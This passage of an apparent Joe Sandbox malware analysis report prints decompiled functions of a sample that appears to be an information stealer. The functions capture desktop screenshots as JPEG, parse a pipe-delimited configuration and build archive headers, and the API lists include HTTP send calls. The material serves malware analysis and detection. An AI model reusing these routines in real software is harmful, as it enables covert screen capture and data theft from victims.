lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

Og, xrefs: 004066E6, 0040671B, 00406831
Hbg, xrefs: 00406714, 0040682A
Wg, xrefs: 0040670E

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: Hbg$Og$Wg
API String ID: 2767677664-2198919908
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BCF0(void* __eflags, char _a8) {
				void* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v36;
				void* _v44;
				intOrPtr _v48;
				struct tagRECT _v64;
				struct HDC__* _v68;
				char _v72;
				void* _v76;
				char _v92;
				intOrPtr _v96;
				void* _t50;
				void* _t52;
				void* _t65;
				void* _t68;
				intOrPtr _t70;
				long _t71;
				intOrPtr _t100;

				E0040B550( &_v36, 0, 0, 0);
				E0040B720( &_v36, 0x10);
				_v36 = 1;
				_t5 =  &_v16; // 0x4067e4
				_t50 =  *0x41aa2c(_t5,  &_v36, 0); // executed
				if(_t50 == 0) {
					_t52 =  *0x41a98c(0, 1,  &_v20); // executed
					if(_t52 == 0) {
						_v12 = GetDesktopWindow();
						GetWindowRect(_v12,  &_v64);
						_v96 =  *0x41aaa4(_v12);
						_v68 =  *0x41a948(_v96);
						_v44 =  *0x41a8bc(_v96, _v64.right, _v64.bottom);
						_v8 = SelectObject(_v68, _v44);
						 *0x41a880(_v68, 0, 0, _v64.right, _v64.bottom, _v96, 0, 0, 0xcc0020);
						_t65 =  *0x41a9e8(_v44, 0,  &_v72); // executed
						if(_t65 == 0) {
							if(E0040BBB0(L"image/jpeg",  &_v92) != 0xffffffff) {
								_t68 =  *0x41a9b8(_v72, _v20,  &_v92, 0); // executed
								if(_t68 == 0) {
									_t70 =  *0x41a884(_v20,  &_v76);
									GlobalFix(_v76);
									_v48 = _t70;
									_t71 = GlobalSize(_v76);
									_t100 =  *0x41a2ac; // 0x678ef8
									_t37 =  &_a8; // 0x4067e4
									E004137E0( *_t37, _t100, _v48, _t71);
									SelectObject(_v68, _v8);
									 *0x41a8f0(_v72);
									_t41 =  &_v16; // 0x4067e4
									 *0x41aa0c( *_t41);
									DeleteObject(_v44);
									DeleteObject(_v68);
									 *0x41aa28(_v12, _v96);
									CloseWindow(_v12); // executed
									return 0;
								}
								return 0;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x0040bcff
0x0040bd0a
0x0040bd0f
0x0040bd1c
0x0040bd20
0x0040bd28
0x0040bd39
0x0040bd41
0x0040bd50
0x0040bd5b
0x0040bd6b
0x0040bd78
0x0040bd8d
0x0040bd9e
0x0040bdbe
0x0040bdce
0x0040bdd6
0x0040bdf3
0x0040be0a
0x0040be12
0x0040be23
0x0040be2d
0x0040be33
0x0040be3a
0x0040be45
0x0040be4c
0x0040be50
0x0040be60
0x0040be6a
0x0040be70
0x0040be74
0x0040be7e
0x0040be88
0x0040be96
0x0040bea0
0x00000000
0x0040bea6
0x00000000
0x0040be14
0x00000000
0x0040bdf5
0x00000000
0x0040bdd8
0x00000000
0x0040bd43
0x00000000

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
image/jpeg, xrefs: 0040BDE3

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824); // executed
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004128D0, Relevance: 18.2, APIs: 7, Strings: 3, Instructions: 687
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004128D0(signed int* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v29;
				signed int _v30;
				char _v44;
				char _v308;
				void* _v312;
				signed int _v313;
				signed int _v320;
				void* _v324;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				signed int _v352;
				signed int _v356;
				signed int _v364;
				char _v624;
				char _v884;
				signed int _v888;
				void* _v892;
				void* _v896;
				char _v1156;
				intOrPtr _v1160;
				signed int _v1164;
				short _v1168;
				short _v1170;
				short _v1172;
				signed int _v1176;
				int _v1180;
				signed int _v1184;
				signed int _v1188;
				signed int _v1192;
				signed int _v1196;
				signed int _v1200;
				unsigned int _v1204;
				signed int _v1206;
				signed int _v1208;
				short _v1210;
				void _v1212;
				signed int _v1216;
				char* _v1220;
				signed char* _v1224;
				signed int _v1228;
				signed int _v1232;
				signed int _v1236;
				void* _v1240;
				void* _v1244;
				signed int* _v1248;
				intOrPtr* _v1252;
				char* _v1256;
				intOrPtr _v1260;
				char _v1261;
				intOrPtr* _v1268;
				signed int _v1272;
				char _v1273;
				intOrPtr _v1280;
				signed int _v1284;
				intOrPtr* _v1288;
				char* _v1292;
				intOrPtr _v1296;
				char _v1297;
				intOrPtr* _v1304;
				signed int _v1308;
				char _v1309;
				signed int _v1316;
				signed int _v1320;
				char _v1321;
				signed int _v1328;
				signed int _v1332;
				char _t422;
				signed int _t459;
				signed int _t485;
				signed char _t498;
				signed char _t502;
				signed int _t510;
				signed char _t516;
				signed int _t518;
				signed int _t523;
				signed int _t524;
				signed int _t539;
				signed char _t545;
				signed int _t548;
				signed int* _t556;
				char _t571;
				signed int* _t597;
				signed int* _t609;
				signed int* _t615;
				signed int _t627;
				signed int _t634;
				signed int* _t643;
				intOrPtr _t652;
				signed int _t665;
				signed int* _t704;
				signed int _t713;
				signed int* _t714;
				signed int _t732;
				signed int _t736;
				char _t737;
				void* _t750;
				void* _t751;
				void* _t752;

				_v1248 = __ecx;
				if(_v1248[5] == 0) {
					_t556 = _v1248;
					__eflags =  *(_t556 + 0x2c) & 0x000000ff;
					if(( *(_t556 + 0x2c) & 0x000000ff) == 0) {
						_v320 = 0;
						__eflags =  *_v1248;
						if( *_v1248 != 0) {
							__eflags = _a16 - 4;
							if(_a16 != 4) {
								_v320 = 0xc;
							}
						}
						_v1252 = _a4;
						_v1256 =  &_v308;
						_v1260 = _v1256;
						do {
							_v1261 =  *_v1252;
							 *_v1256 = _v1261;
							_v1252 = _v1252 + 1;
							_v1256 = _v1256 + 1;
							__eflags = _v1261;
						} while (_v1261 != 0);
						__eflags = _v308;
						if(_v308 != 0) {
							_v1220 =  &_v308;
							while(1) {
								__eflags =  *_v1220;
								if( *_v1220 == 0) {
									break;
								}
								__eflags =  *_v1220 - 0x5c;
								if( *_v1220 == 0x5c) {
									 *_v1220 = 0x2f;
								}
								_v1220 = _v1220 + 1;
							}
							__eflags = _a16 - 4;
							_v29 = 0 | _a16 == 0x00000004;
							__eflags = _v29 & 0x000000ff;
							if((_v29 & 0x000000ff) == 0) {
								L21:
								_v1284 = 0;
								L22:
								_v30 = _v1284;
								_v28 = 8;
								_t563 = _v29 & 0x000000ff;
								__eflags = _v29 & 0x000000ff;
								if((_v29 & 0x000000ff) != 0) {
									L24:
									_v28 = 0;
									L25:
									__eflags = _a16 - 2;
									if(_a16 != 2) {
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											__eflags = _a16 - 3;
											if(_a16 != 3) {
												__eflags = _a16 - 4;
												if(__eflags != 0) {
													return 0x10000;
												}
												_v24 = E004123D0(_v1248, __eflags);
												L34:
												__eflags = _v24;
												if(_v24 == 0) {
													_v352 = 0;
													_t422 =  *0x41401a; // 0x0
													_v1156 = _t422;
													_v1288 =  &_v308;
													_v1292 =  &_v884;
													_v1296 = _v1292;
													do {
														_v1297 =  *_v1288;
														 *_v1292 = _v1297;
														_v1288 = _v1288 + 1;
														_v1292 = _v1292 + 1;
														__eflags = _v1297;
													} while (_v1297 != 0);
													_v1304 =  &_v884;
													_t665 = _v1304 + 1;
													__eflags = _t665;
													_v1308 = _t665;
													do {
														_v1309 =  *_v1304;
														_v1304 = _v1304 + 1;
														__eflags = _v1309;
													} while (_v1309 != 0);
													_v1316 = _v1304 - _v1308;
													_v1188 = _v1316;
													__eflags = _v30 & 0x000000ff;
													if((_v30 & 0x000000ff) == 0) {
														L44:
														_t571 =  *0x41401a; // 0x0
														_v624 = _t571;
														_v896 = 0;
														_v1184 = 0;
														_v892 = 0;
														_v1180 = 0;
														_v888 = 0;
														_v1176 = 0;
														_v364 = 1;
														_v356 = 0;
														_v1170 = 0;
														_v1212 = 0xb17;
														_v1210 = 0x14;
														_v1204 = _v1248[0x1a];
														_v1200 = 0;
														_v1208 = 8;
														__eflags =  *_v1248;
														if( *_v1248 != 0) {
															__eflags = _v29 & 0x000000ff;
															if((_v29 & 0x000000ff) == 0) {
																_v1208 = 9;
															}
														}
														_v1168 = _v1208;
														_v1206 = _v28;
														__eflags = _v28;
														if(_v28 != 0) {
															L50:
															_v1328 = 0;
															goto L51;
														} else {
															_t643 = _v1248;
															__eflags =  *(_t643 + 0x70);
															if( *(_t643 + 0x70) < 0) {
																goto L50;
															}
															_v1328 = _v1248[0x1c] + _v320;
															L51:
															_v1196 = _v1328;
															_v1192 = _v1248[0x1c];
															_v1172 = 0;
															_v1164 = _v1248[0x13];
															_v1160 = _v1248[6] + _v1248[4];
															_v896 =  &_v344;
															_v1184 = 0x11;
															_v892 =  &_v44;
															_v1180 = 9;
															_v344 = 0x55;
															_v343 = 0x54;
															_v342 = 0xd;
															_v341 = 0;
															_v340 = 7;
															_v339 = _v1248[0x16];
															_v338 = E004139F0(_v1248[0x16], 8, _v1248[0x17]);
															_v337 = E004139F0(_v1248[0x16], 0x10, _v1248[0x17]);
															_v336 = E004139F0(_v1248[0x16], 0x18, _v1248[0x17]);
															_v335 = _v1248[0x14];
															_v334 = E004139F0(_v1248[0x14], 8, _v1248[0x15]);
															_v333 = E004139F0(_v1248[0x14], 0x10, _v1248[0x15]);
															_v332 = E004139F0(_v1248[0x14], 0x18, _v1248[0x15]);
															_v331 = _v1248[0x18];
															_v330 = E004139F0(_v1248[0x18], 8, _v1248[0x19]);
															_v329 = E004139F0(_v1248[0x18], 0x10, _v1248[0x19]);
															_v328 = E004139F0(_v1248[0x18], 0x18, _v1248[0x19]);
															memcpy(_v892, _v896, 9);
															 *((char*)(_v892 + 2)) = 5;
															_t459 = E004103F0( &_v1212, E00411D80, _v1248);
															_t752 = _t751 + 0xc;
															_v1216 = _t459;
															__eflags = _v1216;
															if(_v1216 == 0) {
																_v1248[6] = _v1188 + _v1184 + 0x1e + _v1248[6];
																_t597 = _v1248;
																__eflags =  *(_t597 + 0x14);
																if( *(_t597 + 0x14) == 0) {
																	_v1248[0xc] = 0x12345678;
																	_v1248[0xd] = 0x23456789;
																	_v1248[0xe] = 0x34567890;
																	_v1224 =  *_v1248;
																	while(1) {
																		__eflags = _v1224;
																		if(_v1224 == 0) {
																			break;
																		}
																		__eflags =  *_v1224;
																		if( *_v1224 == 0) {
																			break;
																		}
																		E00411430( &(_v1248[0xc]),  *_v1224 & 0x000000ff);
																		_t752 = _t752 + 8;
																		_t732 =  &(_v1224[1]);
																		__eflags = _t732;
																		_v1224 = _t732;
																	}
																	__eflags =  *0x41ac80 & 0x000000ff;
																	if(( *0x41ac80 & 0x000000ff) == 0) {
																		_t524 = GetTickCount();
																		__eflags = _t524 ^ GetDesktopWindow();
																		E0040B840(_t524 ^ GetDesktopWindow());
																		_t752 = _t752 + 4;
																	}
																	_v1228 = 0;
																	while(1) {
																		__eflags = _v1228 - 0xc;
																		if(_v1228 >= 0xc) {
																			break;
																		}
																		 *((char*)(_t750 + _v1228 - 0x10)) = E0040B850() >> 0x00000007 & 0x000000ff;
																		_t523 = _v1228 + 1;
																		__eflags = _t523;
																		_v1228 = _t523;
																	}
																	_v9 = _v1204 >> 0x00000008 & 0x000000ff;
																	_v1232 = 0;
																	while(1) {
																		__eflags = _v1232 - 0xc;
																		if(__eflags >= 0) {
																			break;
																		}
																		_t516 = E004114E0(_v1232, __eflags,  &(_v1248[0xc]),  *(_t750 + _v1232 - 0x10) & 0x000000ff);
																		_t752 = _t752 + 8;
																		 *(_t750 + _v1232 - 0x10) = _t516;
																		_t518 = _v1232 + 1;
																		__eflags = _t518;
																		_v1232 = _t518;
																	}
																	__eflags =  *_v1248;
																	if( *_v1248 != 0) {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) == 0) {
																			E00411D80( &_v20, _v1248,  &_v20, 0xc);
																			_t752 = _t752 + 0xc;
																			_t634 = _v1248[6] + 0xc;
																			__eflags = _t634;
																			_v1248[6] = _t634;
																		}
																	}
																	_v8 = 0;
																	__eflags =  *_v1248;
																	if( *_v1248 == 0) {
																		L76:
																		_v1332 = 0;
																		goto L77;
																	} else {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			goto L76;
																		}
																		_v1332 = 1;
																		L77:
																		_v1248[0xb] = _v1332;
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			L80:
																			__eflags = _v29 & 0x000000ff;
																			if((_v29 & 0x000000ff) != 0) {
																				L83:
																				__eflags = _v29 & 0x000000ff;
																				if((_v29 & 0x000000ff) != 0) {
																					_v1248[0x24] = 0;
																				}
																				L85:
																				_v1248[0xb] = 0;
																				E00412630(_v1248);
																				_v1248[6] = _v1248[6] + _v1248[0x24];
																				_t704 = _v1248;
																				__eflags =  *(_t704 + 0x14);
																				if( *(_t704 + 0x14) == 0) {
																					__eflags = _v8;
																					if(_v8 == 0) {
																						__eflags = _v1196 - _v1248[0x24] + _v320;
																						_v313 = 0 | _v1196 == _v1248[0x24] + _v320;
																						_v1200 = _v1248[0x1e];
																						_v1196 = _v1248[0x24] + _v320;
																						_v1192 = _v1248[0x1c];
																						_t609 = _v1248;
																						__eflags =  *(_t609 + 0x1c) & 0x000000ff;
																						if(( *(_t609 + 0x1c) & 0x000000ff) == 0) {
																							L101:
																							__eflags = (_v1206 & 0x0000ffff) - (_v28 & 0x0000ffff);
																							if((_v1206 & 0x0000ffff) == (_v28 & 0x0000ffff)) {
																								__eflags = _v28;
																								if(_v28 != 0) {
																									L106:
																									_v1216 = E00410800( &_v1212, E00411D80, _v1248);
																									__eflags = _v1216;
																									if(_v1216 == 0) {
																										_t713 = _v1248[6] + 0x10;
																										__eflags = _t713;
																										_v1248[6] = _t713;
																										_v1208 = _v1168;
																										L109:
																										_t714 = _v1248;
																										__eflags =  *(_t714 + 0x14);
																										if( *(_t714 + 0x14) == 0) {
																											_v1240 = E0040B590(_v1180, _v1180);
																											_v312 = _v1240;
																											memcpy(_v312, _v892, _v1180);
																											_v892 = _v312;
																											_v1244 = E0040B590(_v892, 0x360);
																											_v324 = _v1244;
																											memcpy(_v324,  &_v1212, 0x360);
																											_t615 = _v1248;
																											__eflags =  *(_t615 + 0x44);
																											if( *(_t615 + 0x44) != 0) {
																												_v1236 = _v1248[0x11];
																												while(1) {
																													_t485 = _v1236;
																													__eflags =  *(_t485 + 0x35c);
																													if( *(_t485 + 0x35c) == 0) {
																														break;
																													}
																													_v1236 =  *((intOrPtr*)(_v1236 + 0x35c));
																												}
																												 *((intOrPtr*)(_v1236 + 0x35c)) = _v324;
																												L117:
																												__eflags = 0;
																												return 0;
																											}
																											_v1248[0x11] = _v324;
																											goto L117;
																										}
																										return _v1248[5];
																									}
																									return 0x400;
																								}
																								__eflags = _v313 & 0x000000ff;
																								if((_v313 & 0x000000ff) != 0) {
																									goto L106;
																								}
																								return 0x4000000;
																							}
																							return 0x4000000;
																						}
																						__eflags =  *_v1248;
																						if( *_v1248 == 0) {
																							L92:
																							_v1206 = _v28;
																							__eflags = _v1208 & 1;
																							if((_v1208 & 1) == 0) {
																								_t627 = _v1208 & 0xfff7;
																								__eflags = _t627;
																								_v1208 = _t627;
																							}
																							_v1168 = _v1208;
																							_t498 = E00411F30(_v1248, _v1160 - _v1248[4]);
																							__eflags = _t498 & 0x000000ff;
																							if((_t498 & 0x000000ff) != 0) {
																								_v1216 = E004103F0( &_v1212, E00411D80, _v1248);
																								__eflags = _v1216;
																								if(_v1216 == 0) {
																									_t502 = E00411F30(_v1248, _v1248[6]);
																									__eflags = _t502 & 0x000000ff;
																									if((_t502 & 0x000000ff) != 0) {
																										goto L109;
																									}
																									return 0x2000000;
																								}
																								return 0x400;
																							} else {
																								return 0x2000000;
																							}
																						}
																						__eflags = _v29 & 0x000000ff;
																						if((_v29 & 0x000000ff) == 0) {
																							goto L101;
																						}
																						goto L92;
																					}
																					return 0x400;
																				}
																				return _v1248[5];
																			}
																			__eflags = _v28;
																			if(__eflags != 0) {
																				goto L83;
																			}
																			_v8 = E00412850(_v1248, __eflags);
																			goto L85;
																		}
																		__eflags = _v28 - 8;
																		if(_v28 != 8) {
																			goto L80;
																		}
																		_t510 = E004126C0(_v1248,  &_v1212); // executed
																		_v8 = _t510;
																		goto L85;
																	}
																}
																E00412630(_v1248);
																return _v1248[5];
															}
															E00412630(_v1248);
															return 0x400;
														}
													}
													_t736 =  &_v884 + 0xffffffff;
													__eflags = _t736;
													_v1320 = _t736;
													do {
														_v1321 =  *((intOrPtr*)(_v1320 + 1));
														_v1320 = _v1320 + 1;
														__eflags = _v1321;
													} while (_v1321 != 0);
													_t737 = "/"; // 0x2f
													 *_v1320 = _t737;
													_t539 = _v1188 + 1;
													__eflags = _t539;
													_v1188 = _t539;
													goto L44;
												}
												return _v24;
											}
											_v24 = E004122A0(_v1248, _a8, _a12);
											goto L34;
										}
										_v24 = E004120F0(_v1248, _a8, _a12);
										goto L34;
									}
									_v24 = E00412020(_v1248, _a8);
									goto L34;
								}
								_t545 = E00411520(_t563,  &_v308);
								_t751 = _t751 + 4;
								__eflags = _t545 & 0x000000ff;
								if((_t545 & 0x000000ff) == 0) {
									goto L25;
								}
								goto L24;
							}
							_v1268 =  &_v308;
							_t548 = _v1268 + 1;
							__eflags = _t548;
							_v1272 = _t548;
							do {
								_v1273 =  *_v1268;
								_v1268 = _v1268 + 1;
								__eflags = _v1273;
							} while (_v1273 != 0);
							_v1280 = _v1268 - _v1272;
							_t652 = _v1280;
							__eflags =  *((char*)(_t750 + _t652 - 0x131)) - 0x2f;
							if( *((char*)(_t750 + _t652 - 0x131)) == 0x2f) {
								goto L21;
							}
							_v1284 = 1;
							goto L22;
						}
						return 0x10000;
					}
					return 0x50000;
				}
				return 0x40000;
			}

0x004128db
0x004128eb
0x004128f7
0x00412901
0x00412903
0x0041290f
0x0041291f
0x00412922
0x00412924
0x00412928
0x0041292a
0x0041292a
0x00412928
0x00412937
0x00412943
0x0041294f
0x00412955
0x0041295d
0x0041296f
0x0041297a
0x00412989
0x0041298f
0x0041298f
0x0041299f
0x004129a1
0x004129b3
0x004129b9
0x004129c2
0x004129c4
0x00000000
0x00000000
0x004129cf
0x004129d2
0x004129da
0x004129da
0x004129e6
0x004129e6
0x004129f0
0x004129f7
0x004129fe
0x00412a00
0x00412a6c
0x00412a6c
0x00412a76
0x00412a7c
0x00412a7f
0x00412a86
0x00412a8a
0x00412a8c
0x00412aa4
0x00412aa4
0x00412aab
0x00412aab
0x00412aaf
0x00412ac5
0x00412ac9
0x00412ae3
0x00412ae7
0x00412b01
0x00412b05
0x00000000
0x00412b17
0x00412b12
0x00412b21
0x00412b21
0x00412b25
0x00412b2f
0x00412b39
0x00412b3e
0x00412b4a
0x00412b56
0x00412b62
0x00412b68
0x00412b70
0x00412b82
0x00412b8d
0x00412b9c
0x00412ba2
0x00412ba2
0x00412bb1
0x00412bbd
0x00412bbd
0x00412bc0
0x00412bc6
0x00412bce
0x00412bd4
0x00412bdb
0x00412bdb
0x00412bf0
0x00412bfc
0x00412c06
0x00412c08
0x00412c57
0x00412c57
0x00412c5d
0x00412c63
0x00412c6d
0x00412c77
0x00412c81
0x00412c8b
0x00412c95
0x00412c9f
0x00412ca9
0x00412cb5
0x00412cc1
0x00412ccd
0x00412cdd
0x00412ce3
0x00412cf2
0x00412cff
0x00412d02
0x00412d08
0x00412d0a
0x00412d11
0x00412d11
0x00412d0a
0x00412d1f
0x00412d2a
0x00412d31
0x00412d35
0x00412d5a
0x00412d5a
0x00000000
0x00412d37
0x00412d37
0x00412d3d
0x00412d41
0x00000000
0x00000000
0x00412d52
0x00412d64
0x00412d6a
0x00412d79
0x00412d81
0x00412d91
0x00412da9
0x00412db5
0x00412dbb
0x00412dc8
0x00412dce
0x00412dd8
0x00412ddf
0x00412de6
0x00412ded
0x00412df4
0x00412e04
0x00412e1d
0x00412e36
0x00412e4f
0x00412e5e
0x00412e77
0x00412e90
0x00412ea9
0x00412eb8
0x00412ed1
0x00412eea
0x00412f03
0x00412f19
0x00412f25
0x00412f3c
0x00412f41
0x00412f44
0x00412f4a
0x00412f51
0x00412f87
0x00412f8a
0x00412f90
0x00412f94
0x00412fb5
